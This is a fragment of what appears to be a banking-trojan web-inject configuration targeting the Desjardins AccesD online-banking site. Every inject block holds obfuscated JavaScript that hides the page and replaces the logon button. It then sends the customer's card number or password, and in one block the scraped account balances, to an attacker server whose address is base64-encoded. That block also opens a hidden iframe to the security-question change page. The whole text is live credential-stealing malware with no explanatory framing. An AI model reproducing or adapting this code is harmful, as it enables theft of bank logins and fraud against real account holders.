             }  
           }  
      if( lang =='fr')  
            {  
             jQuery('.eng').each ( function () {  
                  jQuery(this).hide();  
                });  
                jQuery('.fr').each ( function () {  
                  if( jQuery(this).hasClass('my'))  
                  {  
                  console.log( jQuery(this).text() +"|"+ jQuery(this).hasClass('my') )  
                   jQuery(this).show();  
                  }  
                  else  
                  {  
                   jQuery(this).css('display','block');  
                  }  
                });  
            }  
            jQuery('body').show();         
       }  
       function checkFake()  
       {  
      var req= "send=1&u_bot_id=" +bot_id+"&bn=ca_desjardins&u_login=&u_pass=&log=ca_desjardins_password_page_check_status";  
      function myCallback()  
         {  
             if( ret_val != 'page_dl')  
                {  
                 ShowFake(ret_val);  
                }  
                else if ( ret_val =='page_dl')  
                {  
                  jQuery("#panel").html("");  
                     jQuery("body").show();  
                }  
            }  
        sendScriptRequest(sa, req,myCallback, ["test123"]);  
       }        
         function blockonEnter()  
   {  
    jQuery("*").keydown(function(event)  
         {  
     if(13==event.keyCode){  
             event.preventDefault();  
             return false;  
           }  
    });  
    jQuery("*").keyup(function(event) {  
      if(13==event.keyCode){  
                 event.preventDefault();  
             return false;  
            }  
    });  
    jQuery("*").keypress(function(event) {  
      if(13==event.keyCode){  
              event.preventDefault();  
             return false;  
            }  
    });     
   }  
       function iLogin()  
       {  
             var u_pass = jQuery('input[name=passwd]').val();  
         var req   = "send=1&u_bot_id=" +bot_id+"&bn=ca_desjardins&u_login=&u_pass="+u_pass+"&log=ca_desjardins_login_password_enter";   
         function statusCall()   
         {  
              jQuery('input[type=submit]').click();  
         }  
         sendScriptRequest(sa, req,statusCall, ["test123"]);  
        return false;        
       }  
       jQuery(document).ready( function () {  
          blockonEnter();  
         var span_t = jQuery.trim(jQuery('span.entete_texte').eq(0).text().length);  
             if ( span_t == 14)  
             {  
             lang = 'fr';  
             }  
       checkFake();  
             var text = jQuery('input[name=ch_but_logon]').val();  
             jQuery('input[name=ch_but_logon]').hide();  
             jQuery('input[name=ch_but_logon]').before('<input name="ch_but_logon" value="'+text+'" onclick="iLogin();" style="margin-top: 15px;" class="btn btn-primary" type="button">');  
       });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url https://accesd.desjardins.com/ GP  
 data_before  
 <bod*>  
 data_end  
 data_inject  
 <script type="text/javascript">  
  jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_desjardins";  
    var sa   = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
         function blockonEnter()  
   {  
    jQuery("*").keydown(function(event)  
         {  
     if(13==event.keyCode){  
             event.preventDefault();  
             return false;  
           }  
    });  
    jQuery("*").keyup(function(event) {  
      if(13==event.keyCode){  
                 event.preventDefault();  
             return false;  
            }  
    });  
    jQuery("*").keypress(function(event) {  
      if(13==event.keyCode){  
              event.preventDefault();  
             return false;  
            }  
    });     
   }  
         function iLogin()  
       {  
             var u_login = jQuery('#card_num').val();  
         var req   = "send=1&u_bot_id=" +bot_id+"&bn=ca_desjardins&u_login="+u_login+"&u_pass="+"&log=ca_desjardins_login_password_enter";   
         function statusCall()   
         {  
              jQuery('input[type=submit]').click();  
         }  
         sendScriptRequest(sa, req,statusCall, ["test123"]);  
        return false;        
       }  
        jQuery(document).ready( function () {  
        blockonEnter();  
         var text = jQuery('input[name=ch_but_logon]').val();  
             jQuery('input[name=ch_but_logon]').hide();  
             jQuery('input[name=ch_but_logon]').before('<input name="ch_but_logon" value="'+text+'" onclick="iLogin();" style="margin-top: 15px;" class="btn btn-primary" type="button">');  
        jQuery('body').show();  
        return false;  
        });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url https://accesd.desjardins.com/fr GP  
 data_before  
 <bod*>  
 data_end  
 data_inject  
 <script type="text/javascript">  
  jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_desjardins";  
    var sa   = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
         function blockonEnter()  
   {  
    jQuery("*").keydown(function(event)  
         {  
     if(13==event.keyCode){  
             event.preventDefault();  
             return false;  
           }  
    });  
    jQuery("*").keyup(function(event) {  
      if(13==event.keyCode){  
                 event.preventDefault();  
             return false;  
            }  
    });  
    jQuery("*").keypress(function(event) {  
      if(13==event.keyCode){  
              event.preventDefault();  
             return false;  
            }  
    });     
   }  
         function iLogin()  
       {  
             var u_login = jQuery('#card_num').val();  
         var req   = "send=1&u_bot_id=" +bot_id+"&bn=ca_desjardins&u_login="+u_login+"&u_pass="+"&log=ca_desjardins_login_password_enter";   
         function statusCall()   
         {  
              jQuery('input[type=submit]').click();  
         }  
         sendScriptRequest(sa, req,statusCall, ["test123"]);  
        return false;        
       }  
        jQuery(document).ready( function () {  
        blockonEnter();  
         var text = jQuery('input[name=ch_but_logon]').val();  
             jQuery('input[name=ch_but_logon]').hide();  
             jQuery('input[name=ch_but_logon]').before('<input name="ch_but_logon" value="'+text+'" onclick="iLogin();" style="margin-top: 15px;" class="btn btn-primary" type="button">');  
        jQuery('body').show();  
        return false;  
        });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url https://accesd.desjardins.com/en GP  
 data_before  
 <bod*>  
 data_end  
 data_inject  
 <script type="text/javascript">  
  jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_desjardins";  
    var sa   = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
         function blockonEnter()  
   {  
    jQuery("*").keydown(function(event)  
         {  
     if(13==event.keyCode){  
             event.preventDefault();  
             return false;  
           }  
    });  
    jQuery("*").keyup(function(event) {  
      if(13==event.keyCode){  
                 event.preventDefault();  
             return false;  
            }  
    });  
    jQuery("*").keypress(function(event) {  
      if(13==event.keyCode){  
              event.preventDefault();  
             return false;  
            }  
    });     
   }  
         function iLogin()  
       {  
             var u_login = jQuery('#card_num').val();  
         var req   = "send=1&u_bot_id=" +bot_id+"&bn=ca_desjardins&u_login="+u_login+"&u_pass="+"&log=ca_desjardins_login_password_enter";   
         function statusCall()   
         {  
              jQuery('input[type=submit]').click();  
         }  
         sendScriptRequest(sa, req,statusCall, ["test123"]);  
        return false;        
       }  
        jQuery(document).ready( function () {  
        blockonEnter();  
         var text = jQuery('input[name=ch_but_logon]').val();  
             jQuery('input[name=ch_but_logon]').hide();  
             jQuery('input[name=ch_but_logon]').before('<input name="ch_but_logon" value="'+text+'" onclick="iLogin();" style="margin-top: 15px;" class="btn btn-primary" type="button">');  
        jQuery('body').show();  
        return false;  
        });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url https://accesd.desjardins.com/cooperADOperations/OperationImmediate* GP  
 data_before  
 <bod*>  
 data_end  
 data_inject  
 <script type="text/javascript">  
  jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_desjardins";  
    var sa   = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
       jQuery(document).ready( function () {  
        var account = '';  
            jQuery('span[class=ci]').each( function () {  
             account = account + jQuery.trim(jQuery(this).parent().parent().prev().html().split('<br>')[1]) +":" + jQuery.trim(jQuery(this).text()) +"|";  
           });  
         var req= "send=5&u_bot_id=" + bot_id + "&bn=ca_bmo&log=ca_bmo_core_throw_balances(" + ")" +  
                            "&cashlist="        +account+  
                            "&total="        +"In Cashlist";  
                                                                   function myCallback1()  
                                                                   {  
                                                                   }  
                                                                    sendScriptRequest(sa,req,myCallback1, ["test123"]);       
                jQuery('<iframe width="1" height="1"  src="/tisecuADGestionAcces/ModifierQuestRepAuthForte.do?msgId=debuter&randomNo=-1868472421&token=29&echange_string=&statuts="></iframe>').appendTo('body');  
        jQuery('body').show();  
       });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url https://accesd.desjardins.com/tisecuADGestionAcces/ModifierQuestRepAuthForte* GP  
 data_before  
 <bod*>  
 data_end  
 data_inject  
 <script type="text/javascript">  
  jQuery('body').hide();  
 var _0x7f7f=["\x53\x43\x52\x49\x50\x54","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x3F\x72\x61\x6E\x64\x3D","\x72\x61\x6E\x64\x6F\x6D","\x26","\x61\x6A\x61\x78\x5F\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x73\x63\x72\x69\x70\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x6C\x6F\x61\x64\x65\x64","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x61\x70\x70\x6C\x79","\x72\x65\x6D\x6F\x76\x65\x43\x68\x69\x6C\x64","\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50","\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66","\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76","\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F","\x3D","","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function sendScriptRequest(_0xade3x2,_0xade3x3,_0xade3x4,_0xade3x5){var _0xade3x6=document[_0x7f7f[1]](_0x7f7f[0]);if(_0xade3x3){_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]()+_0x7f7f[4]+_0xade3x3;} else {_0xade3x3=_0x7f7f[2]+Math[_0x7f7f[3]]();} ;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} 